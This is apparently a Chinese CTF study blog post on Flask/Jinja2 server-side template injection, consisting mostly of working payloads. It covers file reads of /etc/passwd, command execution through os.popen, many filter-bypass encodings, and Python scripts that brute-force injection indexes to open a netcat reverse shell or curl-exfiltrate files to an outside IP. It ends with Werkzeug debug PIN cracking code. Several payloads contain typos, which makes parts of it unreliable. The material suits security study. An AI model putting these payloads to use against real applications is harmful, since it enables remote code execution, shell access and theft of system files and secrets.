SSTI 服务器端模板注入
flask基础
不正确的使用模板引擎进行渲染时,则会造成模板注入
路由
from flask import flask
@app.route('/index/')
def hello_word():
return 'hello word'
route
装饰器的作用是将函数与url绑定起来。例子中的代码的作用就是当你访问http://127.0.0.1:5000/index
的时候,flask会返回hello word。
渲染方法
flask的渲染方法有render_template和render_template_string两种。
render_template()是用来渲染一个指定的文件的。使用如下
return render_template('index.html')
render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。
使用方法如下
html = '<h1>This is index page</h1>'
return render_template_string(html)
常用的魔术方法和内置类
__base__ //对象的一个基类,一般情况下是object,有时不是,这时需要使用下一个方法
__mro__ //同样可以获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object在最底层故在列表中的最后,通过__mro__[-1]可以获取到
__base__ //类型对象的直接基类
__bases__ //类型对象的全部基类,以元组形式,类型的实例通常没有属__bases__
__subclasses__() //继承此对象的子类,返回一个列表
__globals__ //返回一个由当前函数可以访问到的变量,方法,模块组成的字典,不包含该函数内声明的局部变量。
__getattribute__()实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__builtins__ //返回一个由内建函数函数名组成的列表。
__getitem__(index) //返回索引为index的值。
url_for //可以直接和__globals__配合,如:url_for.__globals__['__builtins__'],或者和string等配合,详情看迭代器部分
lipsum //flask的一个方法,可以直接和__globals__配合,如:lipsum.__globals__['__builtins__'],或者和string等配合,详情看迭代器部分
__init__ //该方法用于将对象实例化,如x.__init__.__globals__['__builtins__']
//{{''.__class__.__mro__[-1].__subclasses__()["type"].__init__.__globals__}}像这种找到了类要查看该类的方法要先__init__再用__globals__,直接用__globals__会报错
config //查看配置文件
app
__doc__
get_flashed_messages // flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
__dic__ // 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
current_app 应用上下文,一个全局变量。
__import__ //动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
常用注入模板
- 文件读取
查找子类 __frozen__importlib__external.FileLoader
<class’__frozen__importlib__external.FileLoader’>
FileLoader的利用
[“get_data”](0,"/etc/passwd")
调用get_data方法,传入参数0和文件路径
读取配置文件下的flag
{{url_for.__globals__['current_app'].config.FLAG}}
{{get__flash__messages.__globals__['current_app'].config.FLAG}}
__frozen__importlib__external.FileLoader
- 内建函数eval执行命令
内建函数:python在执行脚本时自动加载的函数
- os模块执行命令
在其他函数中直接调用os模块
通过config,调用os
{{config.__class__.init__.globals__['os'].popen('whoami').read()}}
通过url_for,调用os
{{url_for.__globals__.os.popen('whoami').read()}}
在已经加载os模块的子类里直接调用os模块
{{::__class__.bases__[0].__subclasses__()[199].__init__.globals__['os'].popen("ls -l /opt").read()}}
os.py
- importlib类执行命令
可以加载第三方库,使用load_module加载os
python脚本查找_frozen_importlib.BuiltinImporter
可以加载第三方库,使用load_module加载os
{{[].class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}
_frozen_importlib.BuiltinImporter
- linecache函数执行命令
linecache函数可用于读取任意一个文件的某一行,而这个函数也引入了os模块,使用外卖也可以利用这个linecache函数去执行命令
- subprocess.Popen类执行命令
subprocess意在替代其他几个老的模块或者函数,比如:os.system、os.popen等函数
找类的下标的脚本
import json
classes="""
"""
num=0
alllist=[]
result=""
for i in classes:
if i==">":
result+=i
alllist.append(result)
result=""
elif i=="\n" or i==",":
continue
else:
result+=i
#寻找要找的类,并返回其索引
for k,v in enumerate(alllist):
if "warnings.catch_warnings" in v:
print(str(k)+"--->"+v)
#117---> <class 'warnings.catch_warnings'>
过滤bypass
过滤双大括号
过滤,即\{\{或者\}\}
{%%}使用介绍
{%%}是属于flask的控制语句,且以{%end…%}结尾,可以通过在控制语句定义变量或者写循环,判断
#用{%%}标记
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}
解题思路
判断{{}}被过滤
尝试{%%}
判断语句能否正常执行
{% if 2>1 %}ssti{%endif%}
{% if".__class__ %}ssti{%endif%}
有回显ssti说明.__class__
有内容
{% if".__class__.__base__.subclasses__()['+str(i)+'].__init__.__globals__["popen"]("cat /etc/passwd").read()%}ssti{%endif%}
如果有回显则证明命令正常执行
无回显
SSTI盲注思路
- 反弹shell
通过RCE反弹一个shell出来绕过无回显的页面
- 带外注入
通过requestbin或dnslog的方式将信息传到外界
- 纯盲注
(别问为什么没有,问多了没好处)
反弹shell
没有回显
直接使用脚本批量执行希望执行的命令
import requests
url = "" #目标靶机
for i in range(300):
try:
data = {"coded":'{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("netcat 192.168.1.1 7777 -e /bin/bash").read()}}'}
response = requests.post(url,data=data)
except:
pass
带外注入
import requests
url = "" #目标靶机
for i in range(300):
try:
data = {"coded":'{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("curl http://192.168.1.1/`cat /etc/passwd`").read()}}'}
response = requests.post(url,data=data)
except:
pass
纯盲注
getitem绕过中括号过滤
__getitem__()
魔术方法
__getitem__()
是python的一个魔术方法,对字典使用时,传入字符串,返回字典相应键所对应的值;当对列表使用时,传入整数返回列表对应索引的值。
{{''.__class__.__base__.__subclasses__().__getitem__(1)}}
{{''.__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('cat /etc/passwd').read()}}
request绕过单双引号过滤
request在flask中可以访问基于HTTP请求传递的所有信息
此request并非python的函数,而是在flask内部的函数
request.args.key #获取get传入的key的值
request.values.x1 #所有参数
request.cookies #获取cookies传入参数
request.headers #获取请求头请求参数
request.from.key #获取post传入参数(Content-Type:application/x-www-form-urlencoded
或multipart/form-data)
request.data #获取post传入参数(Content——Type:a/b)
request.json #获取post传入json参数(Conten-Type:application/json)
POST提交payload
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read()}}
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.from.k1](request.from.k2).read()}}&k1=popen;k2=cat /etc/passwd
cookie提交构造payload
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.cookies.k1](request.cookies.k2).read()}}
cookie:
k1=popen;k2=cat /etc/passwd
过滤器绕过下划线过滤
过滤器
过滤器通过管道符号(|)与变量连接,并且在括号中可能有可选的参数
flask常用过滤器
length() # 获取一个序列或者字典的长度并将其返回
int(): # 将值转换为int类型;
float(): # 将值转换为float类型
lower(): # 将字符串转换为小写
upper(): # 将字符串转换为大写
reverse(): # 反转字符串;
replace(value,old,new): # 将value中的old替换为new
list(): # 将变量转换为列表类型;
string(): # 将变量转换成字符串类型
join(): # 将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用
attr(): # 获取对象的属性
attr绕过下划线过滤
{{''.__class__.base__.__subclasses__().__getitem__(117).__init__.globals__.__getitem__('popen')('cat /etc/passwd').read()}}
- 使用request方法
GET提交:
URL?cla=__class__&bas=__base__&sub=__subclasses__&ini=__init__&glo=__globals__&gei=__geitem__
POST提交:
code={{()|attr(request.args.cla)|attr(request.arg.bas)|attr(request.args.sub)()|attr(request.args.gei)(117)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.gei)('popen')('cat /etc/passwd')|attr('read')()}}
2 .使用Unicode编码
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(199)|attr("__init__")|attr("__globals__")attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}
{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(199)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("ls")|attr("read")()}}
- 使用16位编码
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[199]["["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"].popen("ls").read())}
-
base64编码
-
格式化字符串
绕过点过滤
- 用中括号[]代替点
python语法除了可以使用点‘.’来访问对象属性外,还可以使用中括号‘[]’
{{()['__class__']['__base__']['__subclasses__'['__init__']['__globals__']['popen']('cat /etc/passwd')['read']}}
- 用attr()绕过
payload语句中不会用到点‘.’和中括号‘[]’
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')|attr('__getitem__')('os')|attr('popen')('cat /etc/passwd')|attr('read')()}}
绕过关键字过滤
过滤了“class”“arg”“form”“value”“int”“global”等关键字
以__class__
为例
- 字符编码
- 拼接“+”:
‘__cl’+’ass__’
- 使用Jinjia2中的“~”进行拼接:
{%set a=“__cla”%}{%set b=“ss__”%}
- 使用过滤器(reverse反转、replace替换、join拼接等):
{%set a=“__ssalc__”|reverse%}{{a}}
- 利用python的char():
{%set chr=url_for._globals__['__builtins__'].chr%}{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}
length过滤器绕过数字过滤
过滤器length
{% set a='aaaaaaaaaaa'|length %}{{a}} #10
{% set a='aaaaaaaaaaa'|length*'aaa'|length %}{{a}} #30
{% set a='aaaaaaaaaaa'|length*'aaaaaaaaaaaa'|length-'aaa'|length %}{{a}} #117
检验数字过滤
{{6*6}}
构造payload
{{''.__class__.base__.__subclasses__()[199].__init__.__globals__['os'].popen('ls /').read()}}
获取config文件
flask内置函数和对象
内置函数
lipsun #可加载第三方库
url_for #可返回url路径
get_flashed_message #可获取消息
内置对象
cycler
joiner
namespace
config
request
session
可利用已加载内置函数或对象寻找被过滤字符串
可利用内置函数调用cuurent_app模块进而查看配置文件
current_app
调用current_app相当于调用flask
{{url_for.__globals__['current_app'].config}}
{{get_flasheed_messages.__globals__['current_app'].config}}
混合过滤绕过
dict()和join
dict(): #用来创建一个字典
join: #将一个序列中的参数值拼接成字符串
{%set a=dict(ssti=1)%}{{a}} #创建字典a,键名ssti,键值1
{%set a=dict(__cla=1,ss=2)|join%}{{a}} #创建字典a,join把参数值拼接成字符串
获取符号
利用flask内置函数和对象获取符号
{% set ssti=({}|select()|string()) %}{{ssti}}
#获取下划线
{% set ssti=(self|string()) %}{{ssti}}
#获取空格
{% set ssti=(self|string|urlencode) %}{{ssti}}
#获取百分号
{% set ssti=(app.__doc__|string) %}{{ssti}}
python debug pin码计算
- 获取用户名username
import getpass
username = getpass.getuser()
print(username)
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}}
/etc/passwd
- 获取app对象name属性
getattr(app,”__name__”,type(app).__name__)
from flask import Flask
app=Flask(__name__)
print(getattr(app,"__name__",type(app).__name__))
获取的是当前app对象的
__name__
属性,若不存在则获取类的
__name__
属性,默认为Flask
- 获取app对象module属性
import sys
from flask import Flask
import typing as t
app=Flask(__name__)
modname = getattr(app,"__module__",t.cast(object,app).__class__.__module__)
mod = sys.modules.get(modname)
print(mod)
- mod的
__file__
属性
app.py文件所在路径
import sys
from flask import Flask
import typing as t
app=Flask(__name__)
modname = getattr(app,"__module__",t.cast(object,app).__class__.__module__)
mod = sys.modules.get(modname)
print(getattr(mod,"__file__",None))
一般在报错中找到
- uuid
实际上就是当前网卡的物理地址
import uuid
print(str(hex(uuid.getnode())))
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/sys/class/net/eth0/address').read()}}
/sys/class/net/eth0/address
得到的是十六进制的,要将其转换为十进制
- get_machine_id获取
python flask版本不同,读取顺序也不同
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/proc/self/cgroup').read()}}
/etc/machine-id和/proc/sys/kernel/random/boot_id,/proc/self/cgroup /etc/machine-id + /proc/self/cgroup 或 /proc/sys/kernel/random/boot_id + /proc/self/cgroup
这里需要注意的是,做ctf一般都是docker,所以用/proc/self/cgroup
的较多,但是,我遇到的是题有 /etc/machine-id + /proc/self/cgroup
的,还有直接/etc/machine-id
的,本人纯纯菜鸡,无从考察,遇到只能试了
3.6是md5
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485410388611',# str(uuid.getnode()), /sys/class/net/ens33/address
'310e09efcc43ceb10e426a0ffc99add5c651575fe93627e6019400d4520272ed'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
3.8是sha1
import hashlib
from itertools import chain
probably_public_bits = [
'root'
'flask.app',
'Flask',
'/usr/local/lib/python3.8/site-packages/flask/app.py'
]
private_bits = [
'2485377579715',
'26657bfd-2d70-45fa-97b3-99462feda893a978760431da5f75687bab5b1f25d9fffc9205b5acad80e2cc1bbd0df8359b36'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
pin码的计算有
-
[GYCTF2020]FlaskApp
-
CTFshow-web801
偷懒就不写wp了(过程实在是非常心酸
标签:__,.__,服务器端,globals,__.__,SSTI,class,模板,attr From: https://www.cnblogs.com/solitude0-c/p/17616123.html